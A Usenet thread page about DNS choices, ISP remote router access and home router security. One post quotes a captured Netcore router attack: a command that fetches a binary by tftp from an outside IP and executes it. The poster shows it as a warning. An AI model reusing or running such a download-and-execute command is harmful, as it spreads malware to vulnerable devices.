Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > comp.os.linux.networking > #3832 > unrolled thread
| Started by | F Volker <here@home.net> |
|---|---|
| First post | 2016-09-06 06:32 +0700 |
| Last post | 2016-09-07 03:29 +0000 |
| Articles | 20 on this page of 58 — 10 participants |
Back to article view | Back to comp.os.linux.networking
What should I change my DNS to? F Volker <here@home.net> - 2016-09-06 06:32 +0700
Re: What should I change my DNS to? Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-06 03:35 +0000
Re: What should I change my DNS to? F Volker <here@home.net> - 2016-09-06 13:48 +0700
Re: What should I change my DNS to? William Unruh <unruh@invalid.ca> - 2016-09-06 07:25 +0000
Re: What should I change my DNS to? F Volker <here@home.net> - 2016-09-06 14:53 +0700
Re: What should I change my DNS to? Dan Purgert <dan@djph.net> - 2016-09-06 09:40 +0000
Re: What should I change my DNS to? William Unruh <unruh@invalid.ca> - 2016-09-06 10:35 +0000
Re: What should I change my DNS to? Dan Purgert <dan@djph.net> - 2016-09-06 11:09 +0000
Re: What should I change my DNS to? F Volker <here@home.net> - 2016-09-07 08:53 +0700
Re: What should I change my DNS to? William Unruh <unruh@invalid.ca> - 2016-09-07 08:24 +0000
Re: What should I change my DNS to? "Carlos E. R." <robin_listas@invalid.es> - 2016-09-07 14:02 +0200
Re: What should I change my DNS to? F Volker <here@home.net> - 2016-09-08 06:42 +0700
Re: What should I change my DNS to? "Carlos E. R." <robin_listas@invalid.es> - 2016-09-08 03:10 +0200
Re: What should I change my DNS to? F Volker <here@home.net> - 2016-09-08 09:43 +0700
Re: What should I change my DNS to? (combined response) Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-06 21:36 +0000
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-07 00:48 +0200
Re: What should I change my DNS to? (combined response) William Unruh <unruh@invalid.ca> - 2016-09-07 08:18 +0000
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-07 14:08 +0200
Re: What should I change my DNS to? (combined response) Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-07 21:52 +0000
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-08 00:52 +0200
Re: What should I change my DNS to? (combined response) F Volker <here@home.net> - 2016-09-07 09:13 +0700
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-07 04:26 +0200
Re: What should I change my DNS to? (combined response) F Volker <here@home.net> - 2016-09-07 09:41 +0700
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-07 14:11 +0200
Re: What should I change my DNS to? (combined response) F Volker <here@home.net> - 2016-09-07 10:59 +0700
Re: What should I change my DNS to? (combined response) Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-07 06:53 +0000
Re: What should I change my DNS to? (combined response) Dan Purgert <dan@djph.net> - 2016-09-07 11:02 +0000
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-07 14:21 +0200
Re: What should I change my DNS to? (combined response) Dan Purgert <dan@djph.net> - 2016-09-07 14:09 +0000
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-07 21:53 +0200
Re: What should I change my DNS to? (combined response) Dan Purgert <dan@djph.net> - 2016-09-08 11:06 +0000
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-08 15:22 +0200
Re: What should I change my DNS to? (combined response) Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-07 06:55 +0000
Re: What should I change my DNS to? (combined response) F Volker <here@home.net> - 2016-09-07 14:27 +0700
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-07 14:28 +0200
Re: What should I change my DNS to? (combined response) Stefan Monnier <monnier@iro.umontreal.ca> - 2016-09-07 09:32 -0400
Re: What should I change my DNS to? (combined response) Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-07 21:50 +0000
Re: What should I change my DNS to? (combined response) William Unruh <unruh@invalid.ca> - 2016-09-07 08:29 +0000
Re: What should I change my DNS to? (combined response) F Volker <here@home.net> - 2016-09-08 10:15 +0700
Re: What should I change my DNS to? (combined response) Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-08 19:34 +0000
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-09 03:56 +0200
Re: What should I change my DNS to? (combined response) Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-09 20:55 +0000
Re: What should I change my DNS to? (combined response) "Carlos E. R." <robin_listas@invalid.es> - 2016-09-10 02:47 +0200
Re: What should I change my DNS to? (combined response) Bit Twister <BitTwister@mouse-potato.com> - 2016-09-10 08:27 +0000
Re: What should I change my DNS to? (combined response) Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-10 22:53 +0000
Re: What should I change my DNS to? "Carlos E. R." <robin_listas@invalid.es> - 2016-09-06 13:35 +0200
Re: What should I change my DNS to? Aragorn <thorongil@telenet.be.invalid> - 2016-09-06 14:06 +0200
Re: What should I change my DNS to? "Carlos E. R." <robin_listas@invalid.es> - 2016-09-06 14:27 +0200
Re: What should I change my DNS to? Dan Purgert <dan@djph.net> - 2016-09-06 13:03 +0000
Re: What should I change my DNS to? "Carlos E. R." <robin_listas@invalid.es> - 2016-09-06 17:01 +0200
Re: What should I change my DNS to? Dan Purgert <dan@djph.net> - 2016-09-06 16:25 +0000
Re: What should I change my DNS to? Tauno Voipio <tauno.voipio@notused.fi.invalid> - 2016-09-06 21:37 +0300
Re: What should I change my DNS to? "Carlos E. R." <robin_listas@invalid.es> - 2016-09-06 23:42 +0200
Re: What should I change my DNS to? F Volker <here@home.net> - 2016-09-07 09:26 +0700
Re: What should I change my DNS to? Roger Blake <rogblake@iname.invalid> - 2016-09-06 12:54 +0000
Re: What should I change my DNS to? F Volker <here@home.net> - 2016-09-07 09:28 +0700
Re: What should I change my DNS to? William Unruh <unruh@invalid.ca> - 2016-09-07 08:25 +0000
Re: What should I change my DNS to? Moe Trin <ibuprofin@painkiller.example.tld.invalid> - 2016-09-07 03:29 +0000
Page 2 of 3 — ← Prev page 1 [2] 3 Next page →
| From | F Volker <here@home.net> |
|---|---|
| Date | 2016-09-07 09:13 +0700 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <nqnt4b$1e46$1@gioia.aioe.org> |
| In reply to | #3848 |
On 09/07/2016 04:36 AM, Moe Trin wrote: [cut] > It's actually relatively simple. I'm not experienced with Mint, but > both Debian and Ubuntu had a single package that did most of the work. I look into that, thanks. >>> Though I am using a paid VPN service mainly for p2p downloads am >>> considering utilising the VPN service much more frequently. > > I'd look to see if the VPN service offers DNS They suggest using Google Public DNS > Consider changing your DNS settings on the computer, rather than the > router. Now, the computer is looking at the "DNS Server" (actually a > forwarder) on the router. I wouldn't expect the router ON IT'S OWN to > be needing DNS - the router is merely forwarding IP packets. Having a > "DNS Server" on the router is meant to make setting up the computers > on your LAN simpler (one place to screw up, not many) ;-) I changed the DNS settings to Google Public DNS as suggested by My VPN provider and hope that settings in both router and LAN work harmoniously. [cut] > The usual problem - the customer has done "something" to the router, so > the ISP hell-desk people reach in (if they can) and reset things to the > factory defaults. Not a reflection on you, but most customers haven't > any idea what they are doing,..." Well, the changes I made over the past few years in the router configurations went quite uneventful. But then again there is always a first time... The changes I made were always related to user-names, pass-words & pass-phrases, time-zones, and ensuring that some settings were enabled/disabled e.g. Firewall Protection or UPnP etc.. FWIW, I never attempted to change setting in any PortForwarding tabs. > "...and resetting things to the factory default > will get things "running". May not be safest, but is easiest for them. If I read this correctly you are suggesting that the ISP changed the settings of my router. I assumed by changing the default login gateway username and gateway password would prevent anybody accessing my router including staff of ISP; Am I mistaken? > It may be time to replace the router - Because the equipment is relatively old I am now considering replacing computer and router. >> Going back to my original question, which DNS server is preferred - >> Google Public or OpenDNS > Both "work" - but understand that the sole reason for the existence of > google is to provide "targeted" advertising, based on what they learn > about you. OpenDNS is less obvious, but you're not getting something > for nothing. From a privacy standpoint, it doesn't really matter that > much - your ISP (or VPN provider) can still see who you are looking for > and/or connecting to. Noted, thanks
[toc] | [prev] | [next] | [standalone]
| From | "Carlos E. R." <robin_listas@invalid.es> |
|---|---|
| Date | 2016-09-07 04:26 +0200 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <tea4ad-o1h.ln1@minas-tirith.valinor> |
| In reply to | #3852 |
On 2016-09-07 04:13, F Volker wrote:
>> "...and resetting things to the factory default
>> will get things "running". May not be safest, but is easiest for them.
>
> If I read this correctly you are suggesting that the ISP changed the
> settings of my router. I assumed by changing the default login gateway
> username and gateway password would prevent anybody accessing my router
> including staff of ISP; Am I mistaken?
The suggestion is that they reset the router to factory defaults,
deleting all your settings including the password, in the thought that
this would make things work, because defaults work for most people. A
dangerous thing to do without asking the client, IMO.
Accessing via http or ssh and login/password is not the only method.
Some routers have ports for remote administration with a program the ISP
may have. Typically it is only allowed from a range of fixed IPs (on the
ISP headquarters), and may have different authentication method that
your login password.
To disable you have to find that configuration and consider disable it.
Disabling it will impede the ISP from updating the firmware, for those
ISPs that do it, and other things they are supposed to do.
Mine works that way, but not all do.
--
Cheers,
Carlos E.R.
[toc] | [prev] | [next] | [standalone]
| From | F Volker <here@home.net> |
|---|---|
| Date | 2016-09-07 09:41 +0700 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <nqnup4$1ftd$1@gioia.aioe.org> |
| In reply to | #3853 |
On 09/07/2016 09:26 AM, Carlos E. R. wrote: [cut] > The suggestion is that they reset the router to factory defaults, > deleting all your settings including the password, in the thought that > this would make things work, because defaults work for most people. A > dangerous thing to do without asking the client, IMO. As far as I am concerned there wasn't even a reason to access my router in the first place; I never reported any issues... I've done what I did many times before. My hopeful thinking is that it may have been just glitch somewhere along when resetting some of the settings. > Accessing via http or ssh and login/password is not the only method. > Some routers have ports for remote administration with a program the ISP > may have. Typically it is only allowed from a range of fixed IPs (on the > ISP headquarters), and may have different authentication method that > your login password. > > To disable you have to find that configuration and consider disable it. > > Disabling it will impede the ISP from updating the firmware, for those > ISPs that do it, and other things they are supposed to do. Very interesting, thanks! I am going to register with a Linksys forum and try find out more on this. > Mine works that way, but not all do. Mine is pretty old and may not have this feature.
[toc] | [prev] | [next] | [standalone]
| From | "Carlos E. R." <robin_listas@invalid.es> |
|---|---|
| Date | 2016-09-07 14:11 +0200 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <doc5ad-4hl.ln1@minas-tirith.valinor> |
| In reply to | #3856 |
On 2016-09-07 04:41, F Volker wrote:
> On 09/07/2016 09:26 AM, Carlos E. R. wrote:
>
> [cut]
>
>> The suggestion is that they reset the router to factory defaults,
>> deleting all your settings including the password, in the thought that
>> this would make things work, because defaults work for most people. A
>> dangerous thing to do without asking the client, IMO.
>
> As far as I am concerned there wasn't even a reason to access my router
> in the first place; I never reported any issues... I've done what I did
> many times before. My hopeful thinking is that it may have been just
> glitch somewhere along when resetting some of the settings.
Yes there was. Per your words:
]> I called the ISP explaining my plight; After a few minutes waiting their
]> technical staff advised to reconfigure my router - an answer I did not
]> expect.
You called them, they reset your router. Easy. :-P
--
Cheers,
Carlos E.R.
[toc] | [prev] | [next] | [standalone]
| From | F Volker <here@home.net> |
|---|---|
| Date | 2016-09-07 10:59 +0700 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <nqo3bi$1kd2$1@gioia.aioe.org> |
| In reply to | #3853 |
On 09/07/2016 09:26 AM, Carlos E. R. wrote: [cut] > Accessing via http or ssh and login/password is not the only method. > Some routers have ports for remote administration with a program the ISP > may have. Typically it is only allowed from a range of fixed IPs (on the > ISP headquarters), and may have different authentication method that > your login password. > > To disable you have to find that configuration and consider disable it. > > Disabling it will impede the ISP from updating the firmware, for those > ISPs that do it, and other things they are supposed to do. > > Mine works that way, but not all do. UPDATE:- I accessed my router details and can happily report that under Administration===>Management-tab, the Remote Management 'radio button' indicates "Disable", as does Remote Upgrade, SNMP, UPnP, IGM Proxy and Management via WLAN. Based on this configuration we can assume that the ISP did not or would not be able to access my router.
[toc] | [prev] | [next] | [standalone]
| From | Moe Trin <ibuprofin@painkiller.example.tld.invalid> |
|---|---|
| Date | 2016-09-07 06:53 +0000 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <slrnnsvebj.i3b.ibuprofin@planck.phx.az.us> |
| In reply to | #3853 |
On Wed, 7 Sep 2016, in the Usenet newsgroup comp.os.linux.networking, in article
<tea4ad-o1h.ln1@minas-tirith.valinor>, Carlos E. R. wrote:
>Accessing via http or ssh and login/password is not the only method.
>some routers have ports for remote administration with a program the ISP
>may have.
[dawn ~]$ whatis tcpdump
tcpdump (8) - dump traffic on a network
[dawn ~]$
(paraphrased from "/usr/sbin/tcpdump -ns 1536 -A" output)
20:01:37.712495 IP 95.71.28.20.53393 > 192.0.2.211.53413: UDP, length 18
AAAAAAAAnetcore.
20:01:37.713509 IP 95.71.28.20.53393 > 192.0.2.211.53413: UDP, length 123
AA..AAAA cd /tmp || cd /var/ || cd /dev/;busybox tftp -r min -g
91.134.141.49;cp /bin/sh .;cat min >sh;chmod 777 sh;./sh.
91.134.141.49 is French OVH SAS 49.ip-91-134-141.eu. My upstream now
blocks packets to/from that ASN. If that inconveniences them... tough.
Don't forget that UDP is connectionless, and the SOURCE address (here,
some "NXDOMAIN" in ROSTELCOM) could be faked. The address of the nasty
on the other hand WAS (at the time) valid, and there was a nasty piece of
malware they were sourcing.
Anyone stupid enough to be using a Netcore router (which the manufacturer
never bothered to patch, much less acknowledge the problem) should be
finding a replacement (3 years ago, when it was first reported).
>Typically it is only allowed from a range of fixed IPs (on the ISP
>headquarters), and may have different authentication method that your
> login password.
Above - UDP is connectionless and can be TRIVIALLY faked, TCP is harder
but not foolproof (or even fool-resistant).
>To disable you have to find that configuration and consider disable it.
>Disabling it will impede the ISP from updating the firmware, for those
>ISPs that do it, and other things they are supposed to do.
my LANs ------ firewall ------- router ------ nasty_world
There are firewall rules that allow ABOUT 1536 hosts on the Internet
to connect to my LAN. The other 3636222392 hosts in IPv4 land can not
connect by default. The firewall rules say packets ORIGINATING on
the router (or firewall) inbound are blocked from reaching the LAN.
The firewall ONLY accepts connections to it from two specific hosts on
the LAN.
[dawn ~]$ whatis nmap
nmap (1) - Network exploration tool and security / port scanner
[dawn ~]$
Often, a worthy experiment is is use nmap (or similar) from a tolerant
host OUTSIDE, to scan your "Internet" address. What's open ? WHY???
Old guy
[toc] | [prev] | [next] | [standalone]
| From | Dan Purgert <dan@djph.net> |
|---|---|
| Date | 2016-09-07 11:02 +0000 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <slrnnsvspv.mg7.dan@xps-linux.djph.net> |
| In reply to | #3853 |
Carlos E. R. wrote: > On 2016-09-07 04:13, F Volker wrote: > >>> "...and resetting things to the factory default >>> will get things "running". May not be safest, but is easiest for them. >> >> If I read this correctly you are suggesting that the ISP changed the >> settings of my router. I assumed by changing the default login gateway >> username and gateway password would prevent anybody accessing my router >> including staff of ISP; Am I mistaken? > > The suggestion is that they reset the router to factory defaults, > deleting all your settings including the password, in the thought that > this would make things work, because defaults work for most people. A > dangerous thing to do without asking the client, IMO. Well, that depends -- if it's the ISP's CPE, these days, it's usually something placed on a sticker on the bottom; so "factory defaults" is pretty good (or at least better than "admin / admin" like it used to be). -- |_|O|_| Registered Linux user #585947 |_|_|O| Github: https://github.com/dpurgert |O|O|O|
[toc] | [prev] | [next] | [standalone]
| From | "Carlos E. R." <robin_listas@invalid.es> |
|---|---|
| Date | 2016-09-07 14:21 +0200 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <pad5ad-pml.ln1@minas-tirith.valinor> |
| In reply to | #3866 |
On 2016-09-07 13:02, Dan Purgert wrote:
> Carlos E. R. wrote:
>> The suggestion is that they reset the router to factory defaults,
>> deleting all your settings including the password, in the thought that
>> this would make things work, because defaults work for most people. A
>> dangerous thing to do without asking the client, IMO.
>
> Well, that depends -- if it's the ISP's CPE, these days, it's usually
> something placed on a sticker on the bottom; so "factory defaults" is
> pretty good (or at least better than "admin / admin" like it used to
> be).
Well, I also meant that resetting a customer router to defaults without
asking can be dangerous because the customer may have done important
modifications to the default config that are absolutely needed for his
use case. Like setting up VPN or using a different IP range than
192.168.1.*, routing ports, etc.
You are right, the password can be a sticker. In my case, I got the
password from a web form on my ISP, and it is different for each
customer. They do not want people configuring their own routers. When
going to http://router.local.ip you get redirected to
http://isp.internet.address, where we manage a limited set of config
changes via web form. Ie, I request a change on that web page, they
apply it to my router.
To get the password they require us to sign a form saying that we know
what you are doing.
--
Cheers,
Carlos E.R.
[toc] | [prev] | [next] | [standalone]
| From | Dan Purgert <dan@djph.net> |
|---|---|
| Date | 2016-09-07 14:09 +0000 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <slrnnt07pd.mg7.dan@xps-linux.djph.net> |
| In reply to | #3868 |
Carlos E. R. wrote: > [snip] > > To get the password they require us to sign a form saying that we know > what you are doing. > Now if I could only convince them that's all they need from me to let me take this SFP outta their garbage router (in bridge mode), and plug it directly into my router... -- |_|O|_| Registered Linux user #585947 |_|_|O| Github: https://github.com/dpurgert |O|O|O|
[toc] | [prev] | [next] | [standalone]
| From | "Carlos E. R." <robin_listas@invalid.es> |
|---|---|
| Date | 2016-09-07 21:53 +0200 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <0r76ad-ma1.ln1@minas-tirith.valinor> |
| In reply to | #3873 |
On 2016-09-07 16:09, Dan Purgert wrote:
> Carlos E. R. wrote:
>> [snip]
>>
>> To get the password they require us to sign a form saying that we know
>> what you are doing.
>>
>
> Now if I could only convince them that's all they need from me to let me
> take this SFP outta their garbage router (in bridge mode), and plug it
> directly into my router...
In my case, not that simple, because on defaults, that ISP router
handles two or three VPNS. One for the TV service, another for the
pseudo VoIP phone, and another perhaps for internet service. Something
like that, I don't have a clear picture.
--
Cheers,
Carlos E.R.
[toc] | [prev] | [next] | [standalone]
| From | Dan Purgert <dan@djph.net> |
|---|---|
| Date | 2016-09-08 11:06 +0000 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <slrnnt2he9.mg7.dan@xps-linux.djph.net> |
| In reply to | #3874 |
Carlos E. R. wrote: > On 2016-09-07 16:09, Dan Purgert wrote: >> Carlos E. R. wrote: >>> [snip] >>> >>> To get the password they require us to sign a form saying that we know >>> what you are doing. >>> >> >> Now if I could only convince them that's all they need from me to let me >> take this SFP outta their garbage router (in bridge mode), and plug it >> directly into my router... > > In my case, not that simple, because on defaults, that ISP router > handles two or three VPNS. One for the TV service, another for the > pseudo VoIP phone, and another perhaps for internet service. Something > like that, I don't have a clear picture. Probably VLANs more than VPNs ... but yeah, know what you mean. ISP has a couple of VLANs as well, but it's easy enough to configure (their CPE has the details, so it's an easy copy). The one thing I don't have is the connection command (they use a custom firmware on their box, which presumably has the pppoe credentials burned in). -- |_|O|_| Registered Linux user #585947 |_|_|O| Github: https://github.com/dpurgert |O|O|O|
[toc] | [prev] | [next] | [standalone]
| From | "Carlos E. R." <robin_listas@invalid.es> |
|---|---|
| Date | 2016-09-08 15:22 +0200 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <ba58ad-3gg.ln1@minas-tirith.valinor> |
| In reply to | #3882 |
On 2016-09-08 13:06, Dan Purgert wrote:
> Carlos E. R. wrote:
>> In my case, not that simple, because on defaults, that ISP router
>> handles two or three VPNS. One for the TV service, another for the
>> pseudo VoIP phone, and another perhaps for internet service. Something
>> like that, I don't have a clear picture.
>
> Probably VLANs more than VPNs ...
Right.
> but yeah, know what you mean. ISP has
> a couple of VLANs as well, but it's easy enough to configure (their CPE
> has the details, so it's an easy copy). The one thing I don't have is
> the connection command (they use a custom firmware on their box, which
> presumably has the pppoe credentials burned in).
I'd have to find out the configuration from the router, I don't know if
they are published or where. And that router is little documented. Only
the kind of document that says: "In menu kxy you configure kxy". No
explaining what kxy does.
--
Cheers,
Carlos E.R.
[toc] | [prev] | [next] | [standalone]
| From | Moe Trin <ibuprofin@painkiller.example.tld.invalid> |
|---|---|
| Date | 2016-09-07 06:55 +0000 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <slrnnsvee9.i3b.ibuprofin@planck.phx.az.us> |
| In reply to | #3852 |
On Wed, 7 Sep 2016, in the Usenet newsgroup comp.os.linux.networking, in article
<nqnt4b$1e46$1@gioia.aioe.org>, F Volker wrote:
>Moe Trin wrote:
>> I'd look to see if the VPN service offers DNS
>They suggest using Google Public DNS
See the Olympic judges over there holding up their score cards?
2.0 2.5 2.3 2.4 2.2 2.1 1.9
I don't think the judges thought that advice/performance was very good
>I changed the DNS settings to Google Public DNS as suggested by My VPN
>provider and hope that settings in both router and LAN work harmoniously.
Given a single host on your LAN - it should be OK. I've got seven on
my LAN (with fixed, rather than DHCP addresses) - and those hostnames
and IPs are all in /etc/hosts. This means my computers WON'T be asking
the DNS to resolve "local" hostnames (which the DNS server never heard
of, and would therefore reply "NXDOMAIN" (address doesn't exist)). You
MIGHT run into a problem (rare, but it happens) where your computer
has to connect to am "ISP only" host - the hostname or address is only
valid on your ISP's wires. An external DNS may not be able to resolve
the address (as it's for "internal use" only), and thus you would not
be able to connect to that host. Example - my ISP runs a web server
that is ONLY accessible by customers - an external DNS would be looked
at as an outsider, and thus not provided the IP or what-ever.
>> "...and resetting things to the factory default will get things
>> "running". May not be safest, but is easiest for them.
>If I read this correctly you are suggesting that the ISP changed the
>settings of my router.
Yes - they put them back to "out-of-box" values. I don't agree, but
the whole idea it to get you reconnected again.
>I assumed by changing the default login gateway username and gateway
>password would prevent anybody accessing my router including staff of
>ISP; Am I mistaken?
See my reply to Carlos
Old guy
[toc] | [prev] | [next] | [standalone]
| From | F Volker <here@home.net> |
|---|---|
| Date | 2016-09-07 14:27 +0700 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <nqofhm$476$1@gioia.aioe.org> |
| In reply to | #3860 |
On 09/07/2016 01:55 PM, Moe Trin wrote: [cut] > See my reply to Carlos Yes, I had a look at it - woosh, it went right over my head. I am just not good following this technical stuff. So, the staff of the ISP are able to by-pass my Gateway username & password of the router and can reset the router settings even though the 'remote management' function is disabled; I am astonished! The settings are supposed to protect my privacy - if they are for nought what is there left to do especially for a non-tech person? Don't the manufactures of reputable routers know that these settings can be so easily compromised? Right now I feel cheated.
[toc] | [prev] | [next] | [standalone]
| From | "Carlos E. R." <robin_listas@invalid.es> |
|---|---|
| Date | 2016-09-07 14:28 +0200 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <2pd5ad-7sl.ln1@minas-tirith.valinor> |
| In reply to | #3861 |
On 2016-09-07 09:27, F Volker wrote:
> On 09/07/2016 01:55 PM, Moe Trin wrote:
>
> [cut]
>
>> See my reply to Carlos
>
> Yes, I had a look at it - woosh, it went right over my head. I am just
> not good following this technical stuff.
>
> So, the staff of the ISP are able to by-pass my Gateway username &
> password of the router and can reset the router settings even though the
> 'remote management' function is disabled; I am astonished!
No, I don't think so. If remote management is disabled, they should not
be able. Also check to see what default ports are open to outside. There
are several places to check in the router.
But also your router is old, so possibly some of the things I said do
not apply to you.
> The settings are supposed to protect my privacy - if they are for nought
> what is there left to do especially for a non-tech person?
>
> Don't the manufactures of reputable routers know that these settings can
> be so easily compromised? Right now I feel cheated.
Maybe, but then you have to apply the firmware updates they provide, if
they do.
Reminds me, some routers have security faults, and hackers learn of them
for their own purposes.
--
Cheers,
Carlos E.R.
[toc] | [prev] | [next] | [standalone]
| From | Stefan Monnier <monnier@iro.umontreal.ca> |
|---|---|
| Date | 2016-09-07 09:32 -0400 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <jwv1t0v7s4y.fsf-monnier+comp.os.linux.networking@gnu.org> |
| In reply to | #3869 |
> Reminds me, some routers have security faults, and hackers learn of them
^^^^
Haha!
Now there's an understatement.
Stefan
[toc] | [prev] | [next] | [standalone]
| From | Moe Trin <ibuprofin@painkiller.example.tld.invalid> |
|---|---|
| Date | 2016-09-07 21:50 +0000 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <slrnnt12st.mar.ibuprofin@planck.phx.az.us> |
| In reply to | #3861 |
On Wed, 7 Sep 2016, in the Usenet newsgroup comp.os.linux.networking, in article
<nqofhm$476$1@gioia.aioe.org>, F Volker wrote:
>> See my reply to Carlos
>Yes, I had a look at it - woosh, it went right over my head. I am just
>not good following this technical stuff.
They're no longer maintained, and therefore rarely included in Linux
distributions any more, but there is a large amount of technical
information for the less-skilled still available. They were called
"HOWTO"s and in the late 1990s there were about 500 documents, such as
the DNS-HOWTO:
* DNS HOWTO
Updated: Dec 2001. How to become a totally "small time" DNS
admin.
which is about 40 pages long. A bit dated, but still useful:
* The Linux Networking Overview HOWTO
Updated: Jul 2000. Overview of the networking capabilities of the
Linux Operating System; provides pointers for further information
and implementation details.
* NET3-4-HOWTO, Linux Networking HOWTO
Updated: Aug 1999. Aims to describe how to install and configure
the Linux networking software and associated tools.
>So, the staff of the ISP are able to by-pass my Gateway username &
>password of the router and can reset the router settings even though
>the 'remote management' function is disabled; I am astonished!
They MAY be able to do so - it depends on the specific manufacturer and
model.
>The settings are supposed to protect my privacy - if they are for nought
>what is there left to do especially for a non-tech person?
Yes, that is a continuing problem.
>Don't the manufactures of reputable routers know that these settings can
>be so easily compromised? Right now I feel cheated.
Ever wonder how long it's been ``normal'' for a manufacturer to include
a password protected account that is accessible from the world?
You've got to feel sorry for the {computer|modem|router} manufacturers.
They have to provide a complicated piece of electronics to the public,
and yet these devices have to be configured for such things as IP
address, address ranges (network mask), gateways, and the like, and
to have the average user do this is inviting disaster. Everyone KNOWS
that the user will not read the instruction book (why should they,
when the book if full of warnings about operating the system in the
bath tub, not trying to clean it with gasoline and a hair dryer, or
letting children play with the plastic bag it came in, and similar
typical user errors expected by the company lawyers). So it's got to
be really simple - because the users have absolutely no intention of
learning anything. Hey, they know how to live without someone standing
next to them saying "Breath in... Breath out..." 24 hours a day.
The manufacturer also KNOWS that the owner/user is going to screw up the
configuration of the box. What can they do? It's far to expensive to
have a technician come out to the house to configure things correctly,
and in any case the customer is going to be whining about having to be
home when the tech comes - which screws up scheduling and increases
costs yet again.
So they give the product a remote access, which allows them to fix the
configuration errors remotely. But they've sold (or hope to sell)
thousands of these boxes. Should they have a unique password for each
and every one? Not possible. How would they know which one is
which? Ask the customer to read a serial number? Can't do that, as
the customer will whine about invading their privacy, never mind not
knowing how to read the numbers off the tag on the back or bottom of
the unit. Well, I guess we'll have to have one password for
everyone... wonder what that password will be... something hard to
guess (one would hope)... I know! How about "admin"? The partially
trained drug-crazed chimpanzees we've hired as customer service
representatives (at a pay rate of 2 bananas a day) should be able to
remember that one even if it's not a word in their native language.
You think I'm joking. Surely the manufacturers would choose a much
obscure password (and username). Why, that's as st00pid as the
passwords chosen for the administrator account on a windows box, by
users who lack the intelligence of retarded duck. Remember the
W32/Deloader worm from March 2003? (If not, use your favorite search
engine (try CERT Advisory CA-2003-08) and find the 87 passwords it knew
would work. Is your current password included in that list?) And it's
getting worse, because of the "Internet of Things" - where modern
products like your refrigerator and cook-stove are going to have
Internet connectivity so that they can talk to each other and decide
what you are going to eat tonight (to improve your living experience,
what-ever that is supposed to mean). Doing an internet search for
"default password list" should turn up lists of the secret passwords for
many products, and you'd be horrified to see how many use "admin" and
"admin" in spite of this problem being well known for more than 30 years.
So they should include instructions in the manual (that no one is going
to read) instructing the customer to _change_ the password. Right, we
know how often that is going to work. Besides, the "new" password is
_still_ going to be one of those 87 used by the W32/Deloader worm, and
in any case, the customer will have forgotten the damn thing anyway.
Put a "reset" button on the device, that the customer can press to
restore the system to factory defaults? Bad idea, as this will
increase the cost, and unless it's physically out of the way will be
pressed accidentally or on purpose by the children of that retarded
duck. And in the factory default mode, it doesn't work the way the
customer expects, so you must be selling plastic powdered dog p00p
(instead of the high quality real dog poop the customer expected and
paid for.) The manufacturer get's blamed no matter what.
Old guy
[toc] | [prev] | [next] | [standalone]
| From | William Unruh <unruh@invalid.ca> |
|---|---|
| Date | 2016-09-07 08:29 +0000 |
| Subject | Re: What should I change my DNS to? (combined response) |
| Message-ID | <nqoj4r$2e3$4@dont-email.me> |
| In reply to | #3852 |
On 2016-09-07, F Volker <here@home.net> wrote: > On 09/07/2016 04:36 AM, Moe Trin wrote: > > [cut] > >> It's actually relatively simple. I'm not experienced with Mint, but >> both Debian and Ubuntu had a single package that did most of the work. > > I look into that, thanks. > >>>> Though I am using a paid VPN service mainly for p2p downloads am >>>> considering utilising the VPN service much more frequently. >> >> I'd look to see if the VPN service offers DNS > > They suggest using Google Public DNS > >> Consider changing your DNS settings on the computer, rather than the >> router. Now, the computer is looking at the "DNS Server" (actually a >> forwarder) on the router. I wouldn't expect the router ON IT'S OWN to >> be needing DNS - the router is merely forwarding IP packets. Having a >> "DNS Server" on the router is meant to make setting up the computers >> on your LAN simpler (one place to screw up, not many) ;-) > > I changed the DNS settings to Google Public DNS as suggested by My VPN > provider and hope that settings in both router and LAN work harmoniously. Of course they could have recommended Google because of some evil purposes of their own. Or because that was the first one they heard of. > > [cut] > >> The usual problem - the customer has done "something" to the router, so >> the ISP hell-desk people reach in (if they can) and reset things to the >> factory defaults. Not a reflection on you, but most customers haven't >> any idea what they are doing,..." > > Well, the changes I made over the past few years in the router > configurations went quite uneventful. But then again there is always a > first 